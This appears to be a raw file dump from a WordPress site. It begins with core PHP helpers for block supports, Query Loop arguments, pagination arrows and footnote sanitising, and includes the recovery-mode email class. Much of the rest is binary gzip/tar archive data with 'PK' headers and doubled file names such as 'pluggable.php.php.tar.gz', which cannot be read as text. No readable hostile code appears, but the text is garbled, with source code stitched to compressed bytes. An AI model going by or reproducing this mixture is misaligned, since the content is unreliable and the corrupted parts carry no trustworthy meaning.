$block_support = _wp_array_get( $block_type->supports, $feature, $default_value ); } elseif ( isset( $block_type->supports[ $feature ] ) ) { $block_support = $block_type->supports[ $feature ]; } } return true === $block_support || is_array( $block_support ); } /** * Converts typography keys declared under `supports.*` to `supports.typography.*`. * * Displays a `_doing_it_wrong()` notice when a block using the older format is detected. * * @since 5.8.0 * * @param array $metadata Metadata for registering a block type. * @return array Filtered metadata for registering a block type. */ function wp_migrate_old_typography_shape( $metadata ) { if ( ! isset( $metadata['supports'] ) ) { return $metadata; } $typography_keys = array( '__experimentalFontFamily', '__experimentalFontStyle', '__experimentalFontWeight', '__experimentalLetterSpacing', '__experimentalTextDecoration', '__experimentalTextTransform', 'fontSize', 'lineHeight', ); foreach ( $typography_keys as $typography_key ) { $support_for_key = isset( $metadata['supports'][ $typography_key ] ) ? $metadata['supports'][ $typography_key ] : null; if ( null !== $support_for_key ) { _doing_it_wrong( 'register_block_type_from_metadata()', sprintf( /* translators: 1: Block type, 2: Typography supports key, e.g: fontSize, lineHeight, etc. 3: block.json, 4: Old metadata key, 5: New metadata key. */ __( 'Block "%1$s" is declaring %2$s support in %3$s file under %4$s. %2$s support is now declared under %5$s.' ), $metadata['name'], "$typography_key", 'block.json', "supports.$typography_key", "supports.typography.$typography_key" ), '5.8.0' ); _wp_array_set( $metadata['supports'], array( 'typography', $typography_key ), $support_for_key ); unset( $metadata['supports'][ $typography_key ] ); } } return $metadata; } /** * Helper function that constructs a WP_Query args array from * a `Query` block properties. * * It's used in Query Loop, Query Pagination Numbers and Query Pagination Next blocks. * * @since 5.8.0 * @since 6.1.0 Added `query_loop_block_query_vars` filter and `parents` support in query. * @since 6.7.0 Added support for the `format` property in query. * * @param WP_Block $block Block instance. * @param int $page Current query's page. * * @return array Returns the constructed WP_Query arguments. */ function build_query_vars_from_query_block( $block, $page ) { $query = array( 'post_type' => 'post', 'order' => 'DESC', 'orderby' => 'date', 'post__not_in' => array(), 'tax_query' => array(), ); if ( isset( $block->context['query'] ) ) { if ( ! empty( $block->context['query']['postType'] ) ) { $post_type_param = $block->context['query']['postType']; if ( is_post_type_viewable( $post_type_param ) ) { $query['post_type'] = $post_type_param; } } if ( isset( $block->context['query']['sticky'] ) && ! empty( $block->context['query']['sticky'] ) ) { $sticky = get_option( 'sticky_posts' ); if ( 'only' === $block->context['query']['sticky'] ) { /* * Passing an empty array to post__in will return have_posts() as true (and all posts will be returned). * Logic should be used before hand to determine if WP_Query should be used in the event that the array * being passed to post__in is empty. * * @see https://core.trac.wordpress.org/ticket/28099 */ $query['post__in'] = ! empty( $sticky ) ? $sticky : array( 0 ); $query['ignore_sticky_posts'] = 1; } elseif ( 'exclude' === $block->context['query']['sticky'] ) { $query['post__not_in'] = array_merge( $query['post__not_in'], $sticky ); } elseif ( 'ignore' === $block->context['query']['sticky'] ) { $query['ignore_sticky_posts'] = 1; } } if ( ! empty( $block->context['query']['exclude'] ) ) { $excluded_post_ids = array_map( 'intval', $block->context['query']['exclude'] ); $excluded_post_ids = array_filter( $excluded_post_ids ); $query['post__not_in'] = array_merge( $query['post__not_in'], $excluded_post_ids ); } if ( isset( $block->context['query']['perPage'] ) && is_numeric( $block->context['query']['perPage'] ) ) { $per_page = absint( $block->context['query']['perPage'] ); $offset = 0; if ( isset( $block->context['query']['offset'] ) && is_numeric( $block->context['query']['offset'] ) ) { $offset = absint( $block->context['query']['offset'] ); } $query['offset'] = ( $per_page * ( $page - 1 ) ) + $offset; $query['posts_per_page'] = $per_page; } // Migrate `categoryIds` and `tagIds` to `tax_query` for backwards compatibility. if ( ! empty( $block->context['query']['categoryIds'] ) || ! empty( $block->context['query']['tagIds'] ) ) { $tax_query_back_compat = array(); if ( ! empty( $block->context['query']['categoryIds'] ) ) { $tax_query_back_compat[] = array( 'taxonomy' => 'category', 'terms' => array_filter( array_map( 'intval', $block->context['query']['categoryIds'] ) ), 'include_children' => false, ); } if ( ! empty( $block->context['query']['tagIds'] ) ) { $tax_query_back_compat[] = array( 'taxonomy' => 'post_tag', 'terms' => array_filter( array_map( 'intval', $block->context['query']['tagIds'] ) ), 'include_children' => false, ); } $query['tax_query'] = array_merge( $query['tax_query'], $tax_query_back_compat ); } if ( ! empty( $block->context['query']['taxQuery'] ) ) { $tax_query = array(); foreach ( $block->context['query']['taxQuery'] as $taxonomy => $terms ) { if ( is_taxonomy_viewable( $taxonomy ) && ! empty( $terms ) ) { $tax_query[] = array( 'taxonomy' => $taxonomy, 'terms' => array_filter( array_map( 'intval', $terms ) ), 'include_children' => false, ); } } $query['tax_query'] = array_merge( $query['tax_query'], $tax_query ); } if ( ! empty( $block->context['query']['format'] ) && is_array( $block->context['query']['format'] ) ) { $formats = $block->context['query']['format']; /* * Validate that the format is either `standard` or a supported post format. * - First, add `standard` to the array of valid formats. * - Then, remove any invalid formats. */ $valid_formats = array_merge( array( 'standard' ), get_post_format_slugs() ); $formats = array_intersect( $formats, $valid_formats ); /* * The relation needs to be set to `OR` since the request can contain * two separate conditions. The user may be querying for items that have * either the `standard` format or a specific format. */ $formats_query = array( 'relation' => 'OR' ); /* * The default post format, `standard`, is not stored in the database. * If `standard` is part of the request, the query needs to exclude all post items that * have a format assigned. */ if ( in_array( 'standard', $formats, true ) ) { $formats_query[] = array( 'taxonomy' => 'post_format', 'field' => 'slug', 'operator' => 'NOT EXISTS', ); // Remove the `standard` format, since it cannot be queried. unset( $formats[ array_search( 'standard', $formats, true ) ] ); } // Add any remaining formats to the formats query. if ( ! empty( $formats ) ) { // Add the `post-format-` prefix. $terms = array_map( static function ( $format ) { return "post-format-$format"; }, $formats ); $formats_query[] = array( 'taxonomy' => 'post_format', 'field' => 'slug', 'terms' => $terms, 'operator' => 'IN', ); } /* * Add `$formats_query` to `$query`, as long as it contains more than one key: * If `$formats_query` only contains the initial `relation` key, there are no valid formats to query, * and the query should not be modified. */ if ( count( $formats_query ) > 1 ) { // Enable filtering by both post formats and other taxonomies by combining them with `AND`. if ( empty( $query['tax_query'] ) ) { $query['tax_query'] = $formats_query; } else { $query['tax_query'] = array( 'relation' => 'AND', $query['tax_query'], $formats_query, ); } } } if ( isset( $block->context['query']['order'] ) && in_array( strtoupper( $block->context['query']['order'] ), array( 'ASC', 'DESC' ), true ) ) { $query['order'] = strtoupper( $block->context['query']['order'] ); } if ( isset( $block->context['query']['orderBy'] ) ) { $query['orderby'] = $block->context['query']['orderBy']; } if ( isset( $block->context['query']['author'] ) ) { if ( is_array( $block->context['query']['author'] ) ) { $query['author__in'] = array_filter( array_map( 'intval', $block->context['query']['author'] ) ); } elseif ( is_string( $block->context['query']['author'] ) ) { $query['author__in'] = array_filter( array_map( 'intval', explode( ',', $block->context['query']['author'] ) ) ); } elseif ( is_int( $block->context['query']['author'] ) && $block->context['query']['author'] > 0 ) { $query['author'] = $block->context['query']['author']; } } if ( ! empty( $block->context['query']['search'] ) ) { $query['s'] = $block->context['query']['search']; } if ( ! empty( $block->context['query']['parents'] ) && is_post_type_hierarchical( $query['post_type'] ) ) { $query['post_parent__in'] = array_unique( array_map( 'intval', $block->context['query']['parents'] ) ); } } /** * Filters the arguments which will be passed to `WP_Query` for the Query Loop Block. * * Anything to this filter should be compatible with the `WP_Query` API to form * the query context which will be passed down to the Query Loop Block's children. * This can help, for example, to include additional settings or meta queries not * directly supported by the core Query Loop Block, and extend its capabilities. * * Please note that this will only influence the query that will be rendered on the * front-end. The editor preview is not affected by this filter. Also, worth noting * that the editor preview uses the REST API, so, ideally, one should aim to provide * attributes which are also compatible with the REST API, in order to be able to * implement identical queries on both sides. * * @since 6.1.0 * * @param array $query Array containing parameters for `WP_Query` as parsed by the block context. * @param WP_Block $block Block instance. * @param int $page Current query's page. */ return apply_filters( 'query_loop_block_query_vars', $query, $block, $page ); } /** * Helper function that returns the proper pagination arrow HTML for * `QueryPaginationNext` and `QueryPaginationPrevious` blocks based * on the provided `paginationArrow` from `QueryPagination` context. * * It's used in QueryPaginationNext and QueryPaginationPrevious blocks. * * @since 5.9.0 * * @param WP_Block $block Block instance. * @param bool $is_next Flag for handling `next/previous` blocks. * @return string|null The pagination arrow HTML or null if there is none. */ function get_query_pagination_arrow( $block, $is_next ) { $arrow_map = array( 'none' => '', 'arrow' => array( 'next' => '→', 'previous' => '←', ), 'chevron' => array( 'next' => '»', 'previous' => '«', ), ); if ( ! empty( $block->context['paginationArrow'] ) && array_key_exists( $block->context['paginationArrow'], $arrow_map ) && ! empty( $arrow_map[ $block->context['paginationArrow'] ] ) ) { $pagination_type = $is_next ? 'next' : 'previous'; $arrow_attribute = $block->context['paginationArrow']; $arrow = $arrow_map[ $block->context['paginationArrow'] ][ $pagination_type ]; $arrow_classes = "wp-block-query-pagination-$pagination_type-arrow is-arrow-$arrow_attribute"; return ""; } return null; } /** * Helper function that constructs a comment query vars array from the passed * block properties. * * It's used with the Comment Query Loop inner blocks. * * @since 6.0.0 * * @param WP_Block $block Block instance. * @return array Returns the comment query parameters to use with the * WP_Comment_Query constructor. */ function build_comment_query_vars_from_block( $block ) { $comment_args = array( 'orderby' => 'comment_date_gmt', 'order' => 'ASC', 'status' => 'approve', 'no_found_rows' => false, ); if ( is_user_logged_in() ) { $comment_args['include_unapproved'] = array( get_current_user_id() ); } else { $unapproved_email = wp_get_unapproved_comment_author_email(); if ( $unapproved_email ) { $comment_args['include_unapproved'] = array( $unapproved_email ); } } if ( ! empty( $block->context['postId'] ) ) { $comment_args['post_id'] = (int) $block->context['postId']; } if ( get_option( 'thread_comments' ) ) { $comment_args['hierarchical'] = 'threaded'; } else { $comment_args['hierarchical'] = false; } if ( get_option( 'page_comments' ) === '1' || get_option( 'page_comments' ) === true ) { $per_page = get_option( 'comments_per_page' ); $default_page = get_option( 'default_comments_page' ); if ( $per_page > 0 ) { $comment_args['number'] = $per_page; $page = (int) get_query_var( 'cpage' ); if ( $page ) { $comment_args['paged'] = $page; } elseif ( 'oldest' === $default_page ) { $comment_args['paged'] = 1; } elseif ( 'newest' === $default_page ) { $max_num_pages = (int) ( new WP_Comment_Query( $comment_args ) )->max_num_pages; if ( 0 !== $max_num_pages ) { $comment_args['paged'] = $max_num_pages; } } } } return $comment_args; } /** * Helper function that returns the proper pagination arrow HTML for * `CommentsPaginationNext` and `CommentsPaginationPrevious` blocks based on the * provided `paginationArrow` from `CommentsPagination` context. * * It's used in CommentsPaginationNext and CommentsPaginationPrevious blocks. * * @since 6.0.0 * * @param WP_Block $block Block instance. * @param string $pagination_type Optional. Type of the arrow we will be rendering. * Accepts 'next' or 'previous'. Default 'next'. * @return string|null The pagination arrow HTML or null if there is none. */ function get_comments_pagination_arrow( $block, $pagination_type = 'next' ) { $arrow_map = array( 'none' => '', 'arrow' => array( 'next' => '→', 'previous' => '←', ), 'chevron' => array( 'next' => '»', 'previous' => '«', ), ); if ( ! empty( $block->context['comments/paginationArrow'] ) && ! empty( $arrow_map[ $block->context['comments/paginationArrow'] ][ $pagination_type ] ) ) { $arrow_attribute = $block->context['comments/paginationArrow']; $arrow = $arrow_map[ $block->context['comments/paginationArrow'] ][ $pagination_type ]; $arrow_classes = "wp-block-comments-pagination-$pagination_type-arrow is-arrow-$arrow_attribute"; return ""; } return null; } /** * Strips all HTML from the content of footnotes, and sanitizes the ID. * * This function expects slashed data on the footnotes content. * * @access private * @since 6.3.2 * * @param string $footnotes JSON-encoded string of an array containing the content and ID of each footnote. * @return string Filtered content without any HTML on the footnote content and with the sanitized ID. */ function _wp_filter_post_meta_footnotes( $footnotes ) { $footnotes_decoded = json_decode( $footnotes, true ); if ( ! is_array( $footnotes_decoded ) ) { return ''; } $footnotes_sanitized = array(); foreach ( $footnotes_decoded as $footnote ) { if ( ! empty( $footnote['content'] ) && ! empty( $footnote['id'] ) ) { $footnotes_sanitized[] = array( 'id' => sanitize_key( $footnote['id'] ), 'content' => wp_unslash( wp_filter_post_kses( wp_slash( $footnote['content'] ) ) ), ); } } return wp_json_encode( $footnotes_sanitized ); } /** * Adds the filters for footnotes meta field. * * @access private * @since 6.3.2 */ function _wp_footnotes_kses_init_filters() { add_filter( 'sanitize_post_meta_footnotes', '_wp_filter_post_meta_footnotes' ); } /** * Removes the filters for footnotes meta field. * * @access private * @since 6.3.2 */ function _wp_footnotes_remove_filters() { remove_filter( 'sanitize_post_meta_footnotes', '_wp_filter_post_meta_footnotes' ); } /** * Registers the filter of footnotes meta field if the user does not have `unfiltered_html` capability. * * @access private * @since 6.3.2 */ function _wp_footnotes_kses_init() { _wp_footnotes_remove_filters(); if ( ! current_user_can( 'unfiltered_html' ) ) { _wp_footnotes_kses_init_filters(); } } /** * Initializes the filters for footnotes meta field when imported data should be filtered. * * This filter is the last one being executed on {@see 'force_filtered_html_on_import'}. * If the input of the filter is true, it means we are in an import situation and should * enable kses, independently of the user capabilities. So in that case we call * _wp_footnotes_kses_init_filters(). * * @access private * @since 6.3.2 * * @param string $arg Input argument of the filter. * @return string Input argument of the filter. */ function _wp_footnotes_force_filtered_html_on_import_filter( $arg ) { // If `force_filtered_html_on_import` is true, we need to init the global styles kses filters. if ( $arg ) { _wp_footnotes_kses_init_filters(); } return $arg; } PK $[ zCtemplate-loader.php.php.tar.gznu[Wmo6WWܰJTv;kȇ˒l0 -,cߑdf@wϽd !b;%Q"ʨ+^%Ej,i|U~9gDt<ә/'Ʉ~F% O4<~GY p) tP9`K9̘De 2TȂfG6G dz#Q)xFjD 0Z3̄DHQ,yEymLEdoIhpMT,\TvXbʍ;!tR0i䳢KW!HA!̱BiHDQ N/0P|^'P$oJf̛5e ƫQȚfB{ mBwdMz'AfBgoyu.caժ7 3T hՖ/_O?O?^˗Xř6!\:Αᑕ m]7Z "ê8fXR X *b&RvW}֗ͪEd^Gm.YcŒ-8EKLlEDI')['w}|P1F?p5D\ 7 >6ftFD0)j!iri sԎ#ã1DWd>~Gڅd^ؼ6dMڅ4Ce %_dע*<&y4c16.)ۤ]fOŐHG%Ӛ%yIg'*k'ToI6#⏼L~ Ja.H͟:zH&E3) }PMO"ԑ7͞xh|HAkW ͢LR#nSƘ[6]O lIhSAgM8) 6|pnK ԺZkl+̭LKAu09p)kG2b9Q8>:CUՎ1R񡏞mFnQr+4%V[[m|wD#7ܥX}m% q'P 7bq>e^ߛxG\붫ZH};¾E̾цSl.^A)ה vcZ<^QPK $[Fz22,class-wp-recovery-mode-email-service.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-wp-recovery-mode-email-service.php000064400000025657150547656070024735 0ustar00link_service = $link_service; } /** * Sends the recovery mode email if the rate limit has not been sent. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from `error_get_last()`. * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The plugin or theme's directory. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return true|WP_Error True if email sent, WP_Error otherwise. */ public function maybe_send_recovery_mode_email( $rate_limit, $error, $extension ) { $last_sent = get_option( self::RATE_LIMIT_OPTION ); if ( ! $last_sent || time() > $last_sent + $rate_limit ) { if ( ! update_option( self::RATE_LIMIT_OPTION, time() ) ) { return new WP_Error( 'storage_error', __( 'Could not update the email last sent time.' ) ); } $sent = $this->send_recovery_mode_email( $rate_limit, $error, $extension ); if ( $sent ) { return true; } return new WP_Error( 'email_failed', sprintf( /* translators: %s: mail() */ __( 'The email could not be sent. Possible reason: your host may have disabled the %s function.' ), 'mail()' ) ); } $err_message = sprintf( /* translators: 1: Last sent as a human time diff, 2: Wait time as a human time diff. */ __( 'A recovery link was already sent %1$s ago. Please wait another %2$s before requesting a new email.' ), human_time_diff( $last_sent ), human_time_diff( $last_sent + $rate_limit ) ); return new WP_Error( 'email_sent_already', $err_message ); } /** * Clears the rate limit, allowing a new recovery mode email to be sent immediately. * * @since 5.2.0 * * @return bool True on success, false on failure. */ public function clear_rate_limit() { return delete_option( self::RATE_LIMIT_OPTION ); } /** * Sends the Recovery Mode email to the site admin email address. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from `error_get_last()`. * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return bool Whether the email was sent successfully. */ private function send_recovery_mode_email( $rate_limit, $error, $extension ) { $url = $this->link_service->generate_url(); $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); $switched_locale = switch_to_locale( get_locale() ); if ( $extension ) { $cause = $this->get_cause( $extension ); $details = wp_strip_all_tags( wp_get_extension_error_description( $error ) ); if ( $details ) { $header = __( 'Error Details' ); $details = "\n\n" . $header . "\n" . str_pad( '', strlen( $header ), '=' ) . "\n" . $details; } } else { $cause = ''; $details = ''; } /** * Filters the support message sent with the the fatal error protection email. * * @since 5.2.0 * * @param string $message The Message to include in the email. */ $support = apply_filters( 'recovery_email_support_info', __( 'Please contact your host for assistance with investigating this issue further.' ) ); /** * Filters the debug information included in the fatal error protection email. * * @since 5.3.0 * * @param array $message An associative array of debug information. */ $debug = apply_filters( 'recovery_email_debug_info', $this->get_debug( $extension ) ); /* translators: Do not translate LINK, EXPIRES, CAUSE, DETAILS, SITEURL, PAGEURL, SUPPORT. DEBUG: those are placeholders. */ $message = __( 'Howdy! WordPress has a built-in feature that detects when a plugin or theme causes a fatal error on your site, and notifies you with this automated email. ###CAUSE### First, visit your website (###SITEURL###) and check for any visible issues. Next, visit the page where the error was caught (###PAGEURL###) and check for any visible issues. ###SUPPORT### If your site appears broken and you can\'t access your dashboard normally, WordPress now has a special "recovery mode". This lets you safely login to your dashboard and investigate further. ###LINK### To keep your site safe, this link will expire in ###EXPIRES###. Don\'t worry about that, though: a new link will be emailed to you if the error occurs again after it expires. When seeking help with this issue, you may be asked for some of the following information: ###DEBUG### ###DETAILS###' ); $message = str_replace( array( '###LINK###', '###EXPIRES###', '###CAUSE###', '###DETAILS###', '###SITEURL###', '###PAGEURL###', '###SUPPORT###', '###DEBUG###', ), array( $url, human_time_diff( time() + $rate_limit ), $cause ? "\n{$cause}\n" : "\n", $details, home_url( '/' ), home_url( $_SERVER['REQUEST_URI'] ), $support, implode( "\r\n", $debug ), ), $message ); $email = array( 'to' => $this->get_recovery_mode_email_address(), /* translators: %s: Site title. */ 'subject' => __( '[%s] Your Site is Experiencing a Technical Issue' ), 'message' => $message, 'headers' => '', 'attachments' => '', ); /** * Filters the contents of the Recovery Mode email. * * @since 5.2.0 * @since 5.6.0 The `$email` argument includes the `attachments` key. * * @param array $email { * Used to build a call to wp_mail(). * * @type string|array $to Array or comma-separated list of email addresses to send message. * @type string $subject Email subject * @type string $message Message contents * @type string|array $headers Optional. Additional headers. * @type string|array $attachments Optional. Files to attach. * } * @param string $url URL to enter recovery mode. */ $email = apply_filters( 'recovery_mode_email', $email, $url ); $sent = wp_mail( $email['to'], wp_specialchars_decode( sprintf( $email['subject'], $blogname ) ), $email['message'], $email['headers'], $email['attachments'] ); if ( $switched_locale ) { restore_previous_locale(); } return $sent; } /** * Gets the email address to send the recovery mode link to. * * @since 5.2.0 * * @return string Email address to send recovery mode link to. */ private function get_recovery_mode_email_address() { if ( defined( 'RECOVERY_MODE_EMAIL' ) && is_email( RECOVERY_MODE_EMAIL ) ) { return RECOVERY_MODE_EMAIL; } return get_option( 'admin_email' ); } /** * Gets the description indicating the possible cause for the error. * * @since 5.2.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return string Message about which extension caused the error. */ private function get_cause( $extension ) { if ( 'plugin' === $extension['type'] ) { $plugin = $this->get_plugin( $extension ); if ( false === $plugin ) { $name = $extension['slug']; } else { $name = $plugin['Name']; } /* translators: %s: Plugin name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with one of your plugins, %s.' ), $name ); } else { $theme = wp_get_theme( $extension['slug'] ); $name = $theme->exists() ? $theme->display( 'Name' ) : $extension['slug']; /* translators: %s: Theme name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with your theme, %s.' ), $name ); } return $cause; } /** * Return the details for a single plugin based on the extension data from an error. * * @since 5.3.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return array|false A plugin array {@see get_plugins()} or `false` if no plugin was found. */ private function get_plugin( $extension ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); // Assume plugin main file name first since it is a common convention. if ( isset( $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ] ) ) { return $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ]; } else { foreach ( $plugins as $file => $plugin_data ) { if ( str_starts_with( $file, "{$extension['slug']}/" ) || $file === $extension['slug'] ) { return $plugin_data; } } } return false; } /** * Return debug information in an easy to manipulate format. * * @since 5.3.0 * * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The directory of the plugin or theme. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return array An associative array of debug information. */ private function get_debug( $extension ) { $theme = wp_get_theme(); $wp_version = get_bloginfo( 'version' ); if ( $extension ) { $plugin = $this->get_plugin( $extension ); } else { $plugin = null; } $debug = array( 'wp' => sprintf( /* translators: %s: Current WordPress version number. */ __( 'WordPress version %s' ), $wp_version ), 'theme' => sprintf( /* translators: 1: Current active theme name. 2: Current active theme version. */ __( 'Active theme: %1$s (version %2$s)' ), $theme->get( 'Name' ), $theme->get( 'Version' ) ), ); if ( null !== $plugin ) { $debug['plugin'] = sprintf( /* translators: 1: The failing plugins name. 2: The failing plugins version. */ __( 'Current plugin: %1$s (version %2$s)' ), $plugin['Name'], $plugin['Version'] ); } $debug['php'] = sprintf( /* translators: %s: The currently used PHP version. */ __( 'PHP version %s' ), PHP_VERSION ); return $debug; } } PK $[yllllpluggable.php.php.tar.gznu[}CG+&D"a|c],8Y+i FHۿ8o}潍a>Ib4:,&Y$xl،ިe8R$$9FG r5>,(}4/ ixoFYOoތz؎,Al΢i43 k7on͓ppe} 48I ~¶~/ʃ0A6:ERHFj䧃 P@2c8,8 ɠvU x@v-4:JҨy 4<Eԅ7pвOBeI@-7}<@DJku<<%a/x~H󀘹cJ:9twNeL]7Ca}@ HSԇW54y<ROj(Q:hnH6Qś74#. m=!y C7" yÉ>9Mqx ]~ a#=`踾~|@7!zm->x'z0T$0ѐ}0p>aQK+[Ԓ[LO`Not6$ H)(+ UG% %Qw Y2 >H4@^7B|!ܥ,n>|1%sT9 ?X\`}h?LEACh$fUcQUZT>QƍV@c?Wwja'YG h#KHڄ]j]`?hDtQ؃[C8>u:5nO¸7JtR7:Rmڇ0[kX g`ap?^ÏZKjk)vam?!HAEe A@@~S7 5 8?i@돨} 2S @ޞyX(_?wڂg’ a@STn~ZYC!<8/im ?ghN4_%!fI/AmXή4n A͠fcV-)ª"c Sx \x؋G|ZqVBiTba0U!n z*̥mZdJR?DQ/NE!NDڰB6} D=a{U^}= >]lb`Y擨?̑Ă+KpDT0c}ԛv_PM7϶vv/:u0'0ц2 3)DҘxI8S*JKl_ %"ǽg;ғP ly:B#nBtzA闟yiԉ@w c$rT ЋQGd pIe[ wCX0yBiP]*r('5(J$4 `B0A'!yt/!d0e(x2YrF4TєJ :a݈MB?IRs֖/el%=gCs? SdĿ%jJq{."[+emؽM#M-LR[C}lړ-&m^7- } Y0!F$3XiYG~SZ~% H6B~<_ZC;ҢWCP׊@9H>vgA ? ۹aFv=n \.G2xl*&_CSaFzlնl&!lH<V8IC-,Ê eZ#ӷ xԗ)+LpBpO3BTֈ" Á yD"s3)|§}0mfmWjFma!k[n Y5*_Kƒv놹L)R0QyBMf]ZAR/#;IҼى(e[,!|hϕ4\8@Ԁo hvHG8Xr$g9n-'G;Ȟ38g!+Ҵ~YeVB[Ƴ&ΐM2іIaܵ6z ǯPouWEE\R.:wl0k%e3 Iz8HJِ]l4-"mhk:DkufYlԤ1["[^Vӵymg@e}ьAɇ:> *Oa֟8՚+s1Ed~\[oOA>jQ^% ? {x=Ю%VgM,<<ԗI~6%*U{[(Fg1Êa V5U jވ<#I않j^,$تP'i2:>aWGxR8ɂ LG ^!H =r,45q'Y&h ӋuCX:ag̬Ia]Eb @-4yBj3”s5`Ï}ކIǃQ$1P>w:XM(g^+( &£aBL sЖ#(.V}׺s7;szJ3 3k"{l_C?L/:;A]ha0$MksYzyKɵ#hX[3vi#H$)Lǃ5VrnvcqSPYzljs*aw,9ܘq%4F{Q@~է6; &_ʜz[~y&% CU{G|j㪛ڳ!M̵ BYZؠLyròҺI5 "а(Sba`h/>&oPև" .O;8Ij>wjy6ǪbZy_뗏7v%4 p6 gwk{"/7\;0Pԑv?J#K%tEGONc8|'6 6=5Rw}J(7cU z Y%j 0Bn .nj;~<8|((9 dk7̠FG,m";t@: bHCzLMY4LrAt[-<_xH*)t^(:`Lfk[Wjvܩ1j9[VF\pgc(X\ mu{Z"\?u.W*ࢲށX)3oEkCDCvupKGבc瓩27C`Aۆdήp8z?8) 'Q$'Z$gNk{Tf VH5S{{59VNKI3L4;tPB>A{0CEH[B3ࢸ5Nbq_25z{r;4Ь2W7GG^aXWNҥ#nBZ-c|t4aV|b3/MIAE"3sֆ_(,_ X{+ #||2jn9e?(4YkQJN@/AoԮYC)m av?>۹oi}kihGä!diQo^]u뻅G5YPTIt7B ϳx:Gq؋j0@KJPY k\GQ#UՆjYZW+[?e/!%Glk*6~XX\+{еK'$F'5ibagrܜID)Lҹ ճcN`_0m9qccu] 'LUJ=Fsuؒf&EXLtV"@0OS7߿fg;GʚMOa+&yæ< KpL`ro_шv7IF|sv 3:W2*c)4',xXz#lůqZ?pXspYNj X=Urc`;bisɔܼa1V?"UUDХ"'NXtf6f>;E޴Q"i&!EN rISث\=NQb>?Ñ9ZSLqA9qPʙ YI:Rv=/ZҎ 4AP?~IHڃE3ؖ'|n2A).1=G5p<$d52( 2DqNeb+ⱨ!c-p qCjLAѯ G0NG$LCF"SYThXm W*8Z:`rl/oVtt* n6U_)ct#Pz4X 55{ RI=yj2ີ1bvTڕP੨B7]a) vk`4rqUB$n]ؿm̹< WA5`SYٻȧETet^8#M,"r{@G 0qTS\Mو2ňLs)oSB*2x'ySVei.maλ(b{2m8W|(wНʇYRN1n^i؉C@ V؂9̾M]yZj ]22~;ۀ GxC$U눙F{j̗xPkQ_&9 r}3𝝗=4bJaHVbCn?TY$6VQAؾi.V?iЎz:m| InP֛՜AZ=Wnw~^((ԑYѾOd,.FRb睱_y7@mM{h^QIziB54jθI?4gʭ̓Ss+[kiJBkj^c{A{kB`AP *!$F2(6~ ϕpKva/CH8?^o_l?{2)}<{z|(nžHI2@w/J+ uĨH@9DT.9{sf:S4, ^ZdyVô!aopZ),K*2KTmҶ<v3$H3fZj恻 {y Cc~9)g%j5p$e|Y-j}#,wB h/;&7U땋y+M]T`1NFIȪzXtbU͔WyGixlܗ㘪\ s ΌN7x!Y in5FދaSVH/xG3!\`ׂYkE?#v4ARuBUO•w)9`)J@AU. #!RRR8aK5` +?1"ov{L>!㺺*Gn|3\fi8y4bݬr/˺u#ch>BET0ryJv~xV7Rɲ/x:0O]TY3:*LtV􊜪V<00=Q{oxa GtS L8Thl4Xi'd,@"_U |BLF5V:j/qJg`^& 9ll&JPȴJiK^T%~|e 7rB11(fWaTyddk~e!d8ƥ;5uK~h39aEƳhy ('bW}*z]`w֣m:5vc7q(IFY) ZJO$Q lUYAZ1wg*_\_KwXYejcT:L>@g;{4͐#X갨?ہs Oa*ѨAz+< W94}y74e'+ER#QDw{,}q{x q|/TB%AcLbz5v٤|r :WБ_8Δśg-W?uO\L0 >l(T?NajBq|_1Ŗf*KֻI)[jT@ _ "Q^2n{`V}mY~bģ>qt4p5GM]_sGcGsKpl]xf^-qkSg@Snњb^qBuQIQBWrμ辿ʅ~rW(Bgp3ukcqNZ%W\,c襼'Qz\qښUH\51[hFdJszA(U{ kg Ĺ*/VSrVKz]]צ8v@;{{u\gY;IfYsaEcP6]jSh&qV9bnՒhA䆑Tq,avtxQ+ ~7Y܏{!A[ERx%;Q/K`0V!l0NQ~)lm><: 9H't.g+k.%Nd~n*ARFi.JN7ɤO1nG%ؔjGru82SK AU!ane{RdTy@Ji7SGY|3U;XqͶ[{ա|tQUhTg er3(%ǤQT,$F0,b/\GNQi@aS1|,^酺q+$;]>rfT8[XS5I;٦1 Cˉ:"YѠd͌Smf k/\=<0Uc3d'X˵PEۥUwkQlXJYJ}&|6;&t7@jj':kJb  th6 ?>_pֺ]h_ `&C0]ImRrVriOۑQBA4Cueʈv2tmNGM<ߺbԶ?$c+7S#&Ƶ:0<{`CD40RcPM aXTJ"SvW)`k2 ?1!+}{x`ET?5)h% tj\$aK ?kUћެ0?ê%KM KBVf\Y5@[@(\UسzփræE(@s;R5gxA=h~e-W If6:RBhJ^ztLvQS(v Ҿvrƒx&OzGLKN>(4,:C (Tl֦{0U;m]eE5uHI%ŎD2K5sΐr:JB=TCXk̶& zzN}>lU4]Q-`FQ;d.!p`` f +|~]6\NQY}T!g_r<xEױvk̖؛f.2Ֆ`-u-P1|>.5X@yāw)΢shz,&) ewXLy2_ i#|i$0@@}ƒU[SHUpsؽU)XWm=nLuu,'@M$!@U4Ƙ'/uxnɀU3aݣп [;vw{=o`ɭ[T+˅[.N`u閺ZsV 2,$(PN v7Y^C{H`i;DC6eR@;? Ss(?4߂(w%]/K8 Ӄ/pcP2UevtQoƌƟ0R |{TR)38OѲ6  6V{٫Z!;܄LDR"Y{{{h(cS ϤkqI4I1/(ʏQv a2"{  ZZ !IJwN/x\ɸ-7r“(K2 <~ljo@w?ADuįt=,Dʄ}sd)sq 